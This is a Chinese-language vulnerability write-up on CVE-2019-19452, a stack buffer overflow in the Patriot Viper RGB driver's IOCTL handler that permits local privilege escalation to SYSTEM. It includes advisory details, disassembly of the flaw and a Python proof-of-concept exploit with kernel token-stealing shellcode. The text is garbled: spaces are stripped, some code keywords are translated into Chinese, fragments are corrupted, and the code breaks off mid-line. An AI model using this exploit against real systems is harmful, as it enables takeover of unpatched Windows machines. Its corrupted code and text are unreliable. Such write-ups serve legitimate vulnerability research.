0x01漏洞信息漏洞类型:基于堆栈的缓冲区溢出[CWE-121]、暴露IOCTL(访问控制不足)[CWE-782]影响:代码执行允许提权可远程利用:否可本地利用:是CVE名称:CVE-2019-194520x02漏洞描述PatriotMemory是一家总部位于美国的技术公司,设计和制造内存模块、闪存驱动器、移动配件和游戏设备。在处理IoControlCode0x80102040时,在Viper驱动程序RGB版本1.1中发现缓冲区溢出漏洞。本地攻击者可以利用此漏洞并因此获得NTAUTHORITY\SYSTEM权限。IOCTL代码0x80102050和0x80102054允许低权限用户从IO端口读取或写入1/2/4字节。这可以通过多种方式加以利用,最终以提升的权限运行代码。0x03安全公告1.1版和所有以前的版本在每个受支持的Windows版本(安装程序:PatriotViperRGBv1.1.exe)中都容易受到攻击解决方案和解决方法:PatriotMemory发布版本MSIO_191231_v1.2,该版本修复了所报告的漏洞。这些漏洞是由CoreSecurityExploit团队的RicardoNarvaja和LucasDominikow发现的。0x04漏洞分析及利用验证基于堆栈的缓冲区溢出提权CVE-2019-194521.0版本漏洞利用验证发现存在溢出漏洞,可以覆盖ZwOpenSection和ZwMapViewOfSection的参数。1.0和1.1版本的二进制代码差异表明,尽管检查了这些函数的参数,但之前的溢出漏洞仍未修复,CoreLabs在后续研究中能够控制其大小。有关版本1.0的信息可在此处找到:https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.mdhttps://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845在1.1版本中,控制器分析IoControlCodes并到达这个位置,将IoControlCode与0x80102040进行比较。.text:0000000000001518learcx,aIrpMjDeviceCon;"IRP_MJ_DEVICE_CONTROL".text:000000000000151FcallDbgPrint.text:0000000000001524movr11d,[rbp+18h].text:0000000000001528cmpr11d,80102040h.text:000000000000152Fjzloc_16D4如果比较结果正确,则会调用由CoreLabs控制的MaxCount(要复制大小)和SRC(源缓冲区),没有进行任何验证以确保数据适合目标缓冲区,从而导致堆栈溢出。.text:00000000000016E8learcx,[rsp+78h+Src];Dst.text:00000000000016EDmovr8,rbx;MaxCount.text:00000000000016F0movrdx,rsi;Src.text:00000000000016F3callmemmove由于驱动程序堆栈任意代码的执行尚不安全。您可以通过调用CreateFileA来获取驱动程序的句柄,然后通过发送受控数据来调用DeviceIoControl来完成此操作。下面将使用专为Windows7SP1x64设计的PoC来演示x64版本驱动程序的代码执行。该代码需要针对其他Windows版本进行调整。漏洞的有效利用取决于目标设备和体系结构的具体情况。例如,在Windows10中,有SMEP/SMAP和其他特定的缓解措施。下面看到的PoC漏洞演示了这个过程,重用连接套接字来生成shell并在系统上执行任意命令。#!/usr/bin/envpythonimportstruct,sys,osfromctypesimport*fromctypes.wintypesimport*importosimportstructimportsysfromctypesimportwintypesGENERIC_READ=0x80000000GENERIC_WRITE=0x40000000GENERIC_EXECUTE=0x20000000GENERIC_ALL=0x10000000FILE_SHARE_DELETE=0x00000004FILE_SHARE_READ=0x00000001FILE_SHARE_WRITE=0x00000002CREATE_NEW=1CREATE_ALWAYS=2OPEN_EXISTING=3OPEN_ALWAYS=4TRUNCATE_EXISTING=5HEAP_ZERO_MEMORY=0x00000008MEM_COMMIT=0x00001000MEM_RESERVE=0x00002000PAGE_EXECUTE_READWRITE=0x00000040ntdll=windll.ntdllkernel32=windll.kernel32ntdll.NtAllocateVirtualMemory.argtypes=[c_ulonglong,指针(c_ulonglong),c_ulonglong,指针(c_ulonglong),c_ulonglong,c_ulonglong]kernel32.WriteProcessMemory.argtypes=[c_ulonglong,c_ulonglong,c_char_p,POclongulong()]GetProcAddress=kernel32.GetProcAddressGetProcAddress.restype=c_ulonglongGetProcAddress.argtypes=[c_ulonglong,wintypes.LPCSTR]GetModuleHandleA=kernel32.GetModuleHandleAGetModuleHandleA.restype=wintypes.HMODULEGetModuleHandleA.argtypes=[wintypes.LPCSTR]k32Dll=GetModuleHandleA("kernel32.dll")print"0x%X"%(k32Dll)if(notk32Dll):print("[-]FailedTogetmodulehandlekernel32.dll\n")WinExec=GetProcAddress(k32Dll,"WinExec")print"0x%X"%(WinExec)if(notWinExec):print("[-]FailedTogetWinExecaddress.dll\n")print"WinExec=0x%x"%WinExecraw_input()buf=kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40))shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3"#STARTSHEREwritten=c_ulonglong(0)dwReturn=c_ulong()hDevice=kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,无,OPEN_EXISTING,0,None)print"[+]bufferaddress:0x%X"%bufdata="\xeb\x4e"+0x46*"A"+struct.pack("
